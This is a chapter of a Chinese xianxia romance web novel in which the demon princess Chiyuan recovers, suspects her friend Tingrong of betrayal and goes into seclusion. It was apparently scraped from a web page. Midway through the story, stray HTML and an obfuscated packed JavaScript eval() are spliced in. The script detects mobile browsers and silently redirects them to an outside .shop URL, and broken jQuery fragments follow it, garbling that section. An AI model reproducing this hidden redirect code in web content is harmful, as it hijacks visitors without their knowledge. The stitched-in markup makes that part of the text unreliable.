她话音刚落,便听到外面传来声音,随即离顷便掀帘而入。
“哥哥。”
“有件事,想来你也听说了。”离顷坐在椅子上,执起茶杯轻抿了一口,“丹穴山主五万岁寿辰,丹穴山开放,父君的意思是让我们去给城主贺寿。”
“前日东海传信过来,父君要陪阿娘去东海,”像是知道赤嫄要问什么,离顷解释道,“无甚大事,听说是东海深渊近日会出一颗夜明珠,波光盈盈,煞是好看呢。”
赤嫄瞬间了然,点头,“好。”
看赤嫄如此利落地答应,离顷有些意外,挑眉,“怎么,这次不带你的四殿下了?难不成同他置气了?”
“他是魔族四殿下,又并非我妖族中人,此等大事,为何要带他?”赤嫄反驳。
离顷一噎,心中暗道,平日里去哪里都带着他的难道不是你?
只是看着妹妹脸上的冷淡,他没有将心中话说出口,只无奈道:“他若是真惹你生气了,也不必忍着,他虽是魔界四皇子,但你也是我们妖族的王女,有父君和兄长在,什么也不用怕。”
赤嫄听了这话,袖中的手慢慢收拢,像是在压抑什么:“哥哥说笑了,他一个不受宠的皇子,有什么本事让我不高兴。”
“……”离顷点头,转了话题,“你刚醒来,趁着这几日好好修炼,之前因为你精魄不全的缘故,修为一直不得寸进,如今已然修复好了,还是早日将修为提上来。”
赤嫄点点头,“我这几日便闭关修行。”
“嗯,这些年外面看似平稳,但实则是暗流涌动,你修为提上来,去丹穴山的路上也多一层保障。”
赤嫄虽然因为身体原因,之前并未随离顷他们外出历练,但也并不是藏在深闺不谙世事。离顷看她如此懂事,也放心不少。
等离顷走后,琼萤走上前来,询问道:“殿下,今日可是要闭关?”
赤嫄转了转眼睛,忽然道,“不,我们先去找听蓉说说话吧。”
听蓉接到消息的时候,正在院中修习幻术。
她出身狐族,母亲是妖族两大长老之一的鸿奚,因此身份尊贵,天赋也是上等,如今不过百岁,就早已修出了自己的元婴。
听到下人来报,说是赤嫄来了,听蓉垂眸,抿了一口茶,淡声道,“知道了。”
说完,她理了理衣衫,转身回到房间,将头上简单的头饰拆下,换上了一只摇曳灵动的镶宝石碧玺梨花步摇,又补了补妆容,这才缓缓出来迎接。
“殿下身子不好,若是有事传唤便是,何须亲自过来?”
听蓉福了福身,面上关切地看着赤嫄。
赤嫄细细地打量她,听蓉性格冷清,对她却十分关心。
她幼时精魄不全,修炼缓慢,别人总是暗地里笑她,只有听蓉,会时常安慰她,听闻听蓉原本是有一个双生妹妹的,只是因为体弱,没能长成。
一直以来,她都觉得,听蓉如此待她,定是将她当成早殇的妹妹了,是以她也总将听蓉当做自己的姐姐。
“这有什么?姐姐前几日去看我,我还未来得及谢姐姐呢。”
赤嫄上前握住听蓉的手,不让她行礼,两人相视一笑,携手往院内走去。
听蓉和赤嫄坐在院中的碧波树下,赤嫄上下打量了她一眼,目光最后落在了她头上的梨花步摇上,神色微顿,缓缓开口:“听蓉姐姐这支步摇倒是好看。”
听蓉抬手扶了扶步摇,笑道:“不过是旁人随手送的,不值什么的。殿下若是喜欢,送给殿下便是了。”
赤嫄掩袖笑了两声,“姐姐说笑了,旁人送姐姐的,我岂能拿走?不过……”,赤嫄眨眨眼,“这人的眼光可真是好极了,这步摇衬得姐姐形容袅袅,我见犹怜啊。”
听蓉闻言,脸颊红晕散开,似点点胭脂,含羞带俏。
“只是不知,是什么人送的呀?”赤嫄状似不经意地打趣。
听蓉看见赤嫄促狭的眼神,缓缓笑了。
“殿下想到哪里去了?”听蓉抿嘴笑了笑,似是有些不好意思,“不过是我表兄随手做的小玩意儿。”
赤嫄听闻,不动声色地收回了抚摸着步摇的手,随即理了理衣袖,笑道:“看来姐姐的表兄,可真是手巧。”
听蓉低眉浅笑,袖手微动,给赤嫄添了些茶。
赤嫄瞥了一眼茶杯,没有伸手,而是看向听蓉,“姐姐快别劳动了,我自幼身子骨弱,这次昏睡的时日久了些,倒累得姐姐担心一场,还特地跑来看我。”
“殿下说笑了,您是我们妖族的王女,您身子有恙,臣下之女自然是要去探望的。”
赤嫄用凤凰羽修复精魄一事,只有极为亲近的几个人知晓。她身子一向不好,此次昏睡十日,外人也只以为她是旧疾复发。
“不过路上遇见了朝措殿下,听他诉说对殿下的担忧之情,倒是情真意切。”听蓉道,“有这么一位真心待殿下的男子,殿下日后有福了。”
赤嫄见她面色坦荡,提起朝措时自然无比,不免开始怀疑其自己之前的想法。
难道,不是她?
赤嫄不知道,面对听蓉真挚的眼神,她苦笑两声,继续试探道:“只可惜我身体不好,修为也总是进展缓慢。”
“殿下切勿妄自菲薄,您血统高贵,只要耐下心来,修为必会一日千里的。”
赤嫄拢了拢身上的鲛纱,眼眸微垂,浓密翘卷的睫毛在眼睑下盖上一层阴影,轻声叹道,“但愿吧。”
两人对视一眼,听蓉也无奈沉默,波光流转间微风拂过,一旁的芭蕉叶上水珠滑落,静谧的气氛被滴答声打破。
眼前的小姑娘脸色还带着几分苍白,长长的秀发垂在身后,一袭淡青色长裙裹着她瘦小的身躯。
听蓉心中流露出几分怜悯,赤嫄虽然贵为王女,但出生便精魄不全,无法得证大道,族中流言她也不是全然不知,细细想来,这身世血统于她,到底是幸还是不幸。
她忍不住握住了赤嫄的手,声音中多了几分柔情,“殿下,您大病初愈,不要想太多。”
赤嫄抬眼看她,被握住的手传来阵阵暖意,她心下疑惑更甚。
眼前这个对她关切如斯的人,真的会对她下药,联合魔族吗?
——
夜色降临,赤嫄便回了缥缈阁。
刚进了主院,赤嫄便像是泄了力似的,倚在塌边,手不住地按抚胸口。
一旁琼萤不知内情,见她如此,连忙倒了一杯静心茶,“殿下,您怎么了?”
赤嫄运起火灵之力,周天流转,翻涌的灵力终于平静下来。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054094|149116||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
她闭眼微定,才开口,“我只是强行压制灵力,遭到了些许反噬,待我闭关一段时间便无碍了。”
琼萤心疼地抚着赤嫄的后背,赤嫄闭眼休息稍许,挥了挥手,冷声道:“吩咐下去,缥缈阁自今日开启院内结界,直至我出关为止。”
琼萤应下,连忙下去安排。
——
日落西沉,明月隐在厚重的云层之中,透出浅淡昏晕的光。
坐在莲花榻上的赤嫄猛然睁眼,额间有细汗冒出,她身着一袭红袍,浑身无力的瘫坐在软垫上,急促地喘着气。
竟然又看到了业火重燃的那一幕,这一次,她看清楚了朝措最后扑过来的身影。
他的面上,悔恨交织,赤嫄不明白,被囚禁算计的明明是她,他悔恨什么?
赤嫄眉头紧皱,她想不明白,伏昊要凤凰羽做什么?
而且,妖魔两族交好已有几万年,他若是想要凤凰羽,大可大大方方告知父君,何必如此行事呢?
杀了她,无异于整个妖族为敌,两族若起战乱,怕是会两败俱伤,这于魔君而言有何好处?
赤嫄苦思冥想良久,也想不出来缘由,她叹了口气,罢了,还是慢慢查吧。
他若真是有所企图,必定会有马脚。
她莲步轻移,行至软塌,执起茶杯刚要喝茶,却发现杯中空空,这才想起,她开启了院内结界,她闭关的这段时间,任何人都不得出入。
“琼萤。”
她打开窗户,昨夜刚下过雨,窗边的芭蕉叶上不停有水滴滴落,空气中处处都弥漫着芳草的清香。
“殿下,您闭关结束了?”
琼萤听见动静,连忙过来,替换掉了杯中的茶水,奉上了一杯香甜的蜜水。
听到琼萤的话,赤嫄脸上这才露出笑容,“是,此次闭关,颇有收获。”
凤凰羽已然被她炼化,融入她的神魂之中,补全了她受损的精魄,修为也随之大涨。
琼萤听后也很惊喜,笑道:“恭喜殿下,修为大涨。”
赤嫄低头抿了一口蜜水,问道:“这几日,可都有谁来过?”
“少主日日都来,还有听蓉姑娘,也是每隔一日便会过来看看,其余便没有什么人过来了。”
赤嫄听后,拿着茶杯的手一顿,沉声问道:“朝措没有来过吗?”
琼萤摇摇头,纳闷道:“说来也奇怪,之前殿下生病昏睡着的时候,朝措殿下倒是日日都来,反倒是殿下醒了之后,还未见过他呢。”
赤嫄垂下眼帘,浓密的睫毛遮挡住眼中的意味不明,她修长的手指忍不住在桌子上敲了两下,“过几日便要去丹穴山了,怕是被事情耽搁了吧。”
两人正说着话,便听到门外传来高低起伏的问候声,随即便见一袭青衣的离顷掀帘而入。
“妹妹如今才出关,便只惦念着你的小情郎,浑然忘记了自己的兄长了。”
赤嫄太阳穴突地跳了一下,倚在榻上,目光落在手中的书上,缓声道:“什么情郎,哥哥莫要胡说。”
听到这话,跟在离顷身后的男子脚步一顿,俊逸出尘的面上神情一僵,嘴边的笑容也随即愣住。
赤嫄说完转身,一抬头,便对上了朝措看过来的眼神。
赤嫄:“……”